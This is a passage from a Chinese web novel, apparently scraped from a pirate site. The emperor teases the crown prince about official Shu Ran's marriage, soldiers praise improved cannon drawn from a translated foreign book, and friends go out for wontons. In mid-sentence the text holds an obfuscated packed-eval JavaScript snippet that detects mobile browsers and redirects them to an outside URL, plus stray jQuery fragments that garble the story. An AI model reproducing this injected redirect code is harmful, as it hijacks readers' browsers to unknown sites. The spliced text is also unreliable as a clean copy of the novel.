看着嘴硬的太子,皇帝也不恼,反而将身子往龙椅背上靠了靠,故作疑惑道:“你不想去,那这筹建翻译科的差事,该派谁去盯着呢?”
皇帝拿起御案上那份昨日由萧予亲递的,关于招收翻译科生员的折子,随手翻了翻,道:“朕本想着,此事干系重大,需得派个身份贵重之人亲自去压阵,可你又不想去,这该如何是好。”
“……”
知道自家父皇这是在故意拿他寻开心,萧予抿了抿唇,索性闭口不言。
见他不接茬,皇帝话锋一转:“说起来,这位舒寺丞连番立下奇功。单是让她顶着个正七品的官职,似乎不足以彰显朝廷的恩赏了。”
皇帝似在认真盘算。
“可她刚入朝为官不足两月。若是骤然提拔得太快,必会惹来眼红记恨……不若朕替她谋划一桩好姻缘,以此彰显天恩,如何?”
听闻此言,萧予心头猛地一跳,耳根处迅速攀上一抹可疑的微红。
“儿臣倒是没问题,但还得她同意——”
“如今误会解除,你说她愿意接受顾昭远吗?”
“……”
萧予一言不发,转着轮椅调头就要离开。
“欸,你跑什么啊?”皇帝笑得前仰后合,指着萧予,对身旁内侍道,“快拦住太子。”
内侍三步并作两步走上前,推着轮椅,好声好气把太子哄了回来。
萧予抬眸迎上皇帝满是促狭的目光。
“父皇,舒寺丞乃是不可多得的人才。眼下译注番书,筹建翻译科,处处皆需她居中出力。她的婚事,怎么也该是她自己心悦之人才行。否则所遇非良人,日后被那些内宅琐事耗尽心力,是我大玄的损失啊。”
皇帝眼底的戏谑渐渐散去,敛了笑意,“罢了,不逗你了。”
说罢,皇帝将手中那份章程在御案上摊开:“这折子条理虽清晰。不过实行下来牵涉甚广,具体如何运作,还需细细商榷啊。”
窗外寒风呼啸,御书房内,大玄最尊贵的这对父子彻底收起了先前的玩笑心思,就着案上那本折子,开始推敲起设立翻译科的具体事宜。
*
金吾卫指挥使司。
顾昭远正翻阅着京城各处城门的冬日布防文书,突然,门被推开。
“将军!”
来人正是顾昭远昔日的副将林锋。
他如今也跟着顾昭远留在了京城,在金吾卫任千户一职,只是私下里,他还是习惯用以前在军中的旧称。
顾昭远搁下笔,问道:“何事这般急躁?”
林锋大步走过来,难掩激动地道:“将军,您听说了没?虞衡清吏司那边又试射火炮了!”
因上次致太子落入险境,这次虞衡清吏司连同京郊那边,悄无声息地完成了试射。
顾昭远好奇道:“结果如何?”
“威力大增啊!”林锋的眼睛亮得惊人,声音不自觉地拔高了,“听说他们改良了火药的提纯之法,新试射的火炮,射程生生比以往远了至少两百步!两百步啊将军!”
“两百步?”顾昭远面露震惊之色。
作为常年领兵打仗的将领,他比任何人都清楚,战场上火炮射程多出两百步,究竟意味着怎样压倒性的优势。
边疆外敌也有火器,多是仿造大玄火器,也有走私,或缴获的,其水平最多与大玄相仿。如今改良后的弹药一出,敌军还未进入射程,大玄的炮火便能接踵而至。这多出来的两百步,不知道能提高多少胜率!
“是啊,”林锋越说越激动,“我听说,那些炮手现在开炮,不是靠手感,而是依照一个叫什么,什么表的东西。”
“射表。”顾昭远道。
“对,靠射表来瞄准,命中率翻了不止一倍,简直指哪儿打哪儿!”
说到这里,林锋的声音忽地顿住了。
前一刻还兴奋异常的汉子,眼神渐渐黯淡下来,语气里染上了几分沉重。
“将军……您说,若是当年咱们带兵守疆的时候,城头上能多架上几尊火炮,再配上这提纯改良后炮弹,还有那什么射表……”林锋眼眶微红,“咱们手底下的那些弟兄,是不是就不会死那么多了?王大哥、李三哥他们……说不定现在也能跟着咱们在京城里喝酒了。”
顾昭远久久没有言语。
归京数月,边关的漫天黄沙,将士们的残肢断臂,以及那些永远留在关外的鲜活生命,仿佛就在昨日。
每次回想起来,都如同巨石压在他的胸口,让他喘不过气来。
“是啊。”
良久,他应了一声。
林锋吸了吸鼻子,缓和了一下情绪,感慨道:“听说这次火炮能有如此大的改进,全靠鸿胪寺那边译出的一本番文书,连那射表也是从书里学来的。”
他们平日里最看不上这些只会咬文嚼字的文官,尤其是鸿胪寺这等专跟番邦人打交道,只会耍嘴皮子,衙门倒是修得比谁都气派的地方。
但这一次,他们牢牢记住了那几人。女官也好,书吏升上来的从九品小官也罢,提起来,唯有尊敬。
“鸿胪寺那几位大人,这次可真给咱们大玄的武将和士卒们积了德了。”
林锋再度感慨。
顾昭远望向窗外,难得是个无风雪的好天,让人的心情无端也好了不少。
“谁说不是呢。”
散值后,顾昭远走出了金吾卫衙门。
冬日里难得的艳阳天,南街两侧沿街叫卖的商贩也比前两日多出不少。走在熙熙攘攘的人群间,倒冲淡了他心头的沉重。
不知不觉间,他顺着人流,来到了街角那处常设的义诊摊子前。
摊子后头,坐着一位身形高挑的医女。摊子前则是一道身穿青色官服的熟悉身影。
顾昭远眼底不禁泛起一抹笑意,刚走上前,就听见两人的对话声。
“我说楚姑娘,你不是都过了明路了吗,怎么还穿着这身女装?”
舒冉双手抱臂,上下打量着楚少瑜那身女装,“上瘾了?”
楚少瑜抬头瞥了她一眼,“哼,你又来消遣我。”
他继续紧锁着眉头,用两根手指,嫌弃地捏着书页的一角,满脸都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694133|204244||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
写着抗拒与嫌弃,仿佛那上面沾了什么不干净的东西。
“你拿来的这到底是什么书,这上面画的都是些什么?直接开膛破肚的,怎么治病救人?”
“这是外科手术,外科!”舒冉耐着性子纠正他,“说不定也是有用的,你别带着偏见!”
“怎么了,隔着半条街就听见你们两个在这儿吵了。”
顾昭远走上前去。
“好久不见,长风兄,刚散值?”舒冉转过头,打了声招呼。
“是啊,好久不见。”顾昭远点头。
楚少瑜见他过来,顺势将那本《海上外科》推开,冷哼道:“她非要让我看这什么怪书,她还要拿这个抵人情。拜托,我是大夫,不是仵作!我是治病的,不是验尸的!”
舒冉忿忿道:“什么验尸,仵作的,你不要看不起西医好不好。”
哪个专业不比他们英专强!
顾昭远凑近,目光落在那本摊开的羊皮书册上。看着上面如同蝌蚪般的字符,他道:“这就是奥斯兰书?”
“正是鸿胪寺今天刚收的番书。”舒冉回答道。
“这里面的字我一个都看不懂,你让我看什么?”楚少瑜摆手,“赶紧拿走拿走。”
“只看图你就没什么启发吗。”
舒冉悻悻收回书。
如今看来,只能等以后两国加强往来,再引进几个现成的番邦医生了。
楚少瑜懒得理她,“没有,不看,伤眼睛。”
正说着,一阵微凉的风拂过,夹杂着丝丝缕缕的香气。
三人侧过头,只见不远处,一口支在路边的滚水大锅正翻腾着热气,大骨熬煮的汤底混合着鲜肉馄饨的浓郁香气,在长街上四处飘散。
舒冉嗅了嗅,转头看向顾昭远,“长风兄是来请我们吃馄饨的吗?”
楚少瑜立刻停下收拾桌面的手,也眼巴巴地抬起头望了过来:“是吗长风兄?你请客?”
“……”
看着眼前这两双充满期待的眼睛,顾昭远无奈地扶了扶额。
“是是是,走吧。”
楚少瑜欢呼一声,麻利地将脉枕等物件往医箱里一丢,一把将箱子塞进身后小厮的怀里。
三人一同奔着那热气腾腾的馄饨摊而去。
“不知道老板肯不肯卖半碗啊,我待会儿不能吃太多,我院里的吴大娘今个儿肯定也给我做了好吃的,我不能辜负她啊。”舒冉状似苦恼道。
楚少瑜侧过头震惊地看着她。
“你院里?你还有小厨房?!”
“欸?你怎么知道我有小厨房,你也有吗?”
“你又来炫耀!我跟你拼了!”
舒冉嬉笑着向旁边一躲,两人就这样,像两个孩童般你追我赶起来。
顾昭远落后了半步,不紧不慢地走在他们身旁。
耳边回响着市井喧嚣声,好友嬉闹声,心中残余的那点阴霾似乎也随之远去。
他静静地注视着那道穿着青色官服的背影,那般明媚而灵动。嘴角不知不觉间高高扬起,眼底的目光温柔如水。